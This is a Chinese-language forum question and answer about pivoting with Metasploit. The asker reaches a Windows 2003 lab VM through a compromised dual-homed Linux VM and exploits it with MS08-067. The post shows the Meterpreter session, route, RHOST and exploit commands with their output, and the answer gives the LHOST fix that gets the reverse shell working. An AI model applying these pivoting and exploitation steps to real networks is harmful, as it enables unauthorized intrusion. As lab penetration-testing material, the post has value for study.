使用 Metasploit 进行数据透视

信息安全 网络 视窗 元数据 ubuntu 隧道
2021-09-11 08:21:30

我试图在我已经有一个 shell 的双主 Linux VM 后面的不同子网上利用 Windows VM。为简单起见,我在 Linux VM (192.168.47.144) 和 Windows VM (192.168.128.133) 上有一个 Meterpreter reverse_tcp shell,它是 2003 年,易受 MS08-067 攻击(我直接测试过)。最后,Linux 虚拟机绝对可以访问 Windows 虚拟机上的 SMB 服务。

ubuntu:~$ ip -o addr show | grep -o '192.168.47.144' && nc -nvv 192.168.128.133 445
192.168.47.144
Connection to 192.168.128.133 445 port [tcp/*] succeeded!

Linux VM 上的 Meterpreter reverse_tcp shell 在端口 5555 上连接回来,因此不会与端口号冲突。

[*] Sending stage (826872 bytes) to 192.168.47.144
[*] Meterpreter session 2 opened (192.168.47.136:5555 -> 192.168.47.144:47395) at 2017-10-08 11:21:30 -0500

msf exploit(handler) > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > route add 192.168.128.0 255.255.255.0 2
[*] Route added
msf exploit(ms08_067_netapi) > route

IPv4 Active Routing Table
=========================

   Subnet             Netmask            Gateway
   ------             -------            -------
   192.168.128.0      255.255.255.0      Session 2

[*] There are currently no IPv6 routes defined.
msf exploit(ms08_067_netapi) > set RHOST 192.168.128.133
RHOST => 192.168.128.133
msf exploit(ms08_067_netapi) > exploit 

[*] Started reverse TCP handler on 192.168.47.136:4444 
[*] 192.168.128.133:445 - Automatically detecting the target...
[*] 192.168.128.133:445 - Fingerprint: Windows 2003 R2 - Service Pack 2 - lang:Unknown
[*] 192.168.128.133:445 - We could not detect the language pack, defaulting to English
[*] 192.168.128.133:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.128.133:445 - Attempting to trigger the vulnerability...
[*] Exploit completed, but no session was created.

此外,我使用 LHOST 0.0.0.0 和 LHOST 192.168.128.132(Linux VM 的 .128 子网地址)运行了它,但那里也没有 shell。我错过了什么?

我还尝试通过 SSH 端口转发手动执行此操作,如https://highon.coffee/blog/ssh-meterpreter-pivoting-techniques/中所示,并最终得到相同的结果。该漏洞攻击Windows VM,但没有打开会话。

这些是我一直参考的主要帖子。

  1. http://carnal0wnage.attackresearch.com/2007/09/using-metasploit-to-pivot-through_06.html
  2. https://pentest.blog/explore-hidden-networks-with-double-pivoting/
  3. http://www.whitelist1.com/2016/06/metasploit-double-pivoting.html
1个回答

在 Metasploit 中通过 Meterpreter 路由使用隧道时,您的 lhost 将成为您的第一个目标。

所以在这种情况下,你的 LHOST 应该设置为:192.168.47.144

试试看。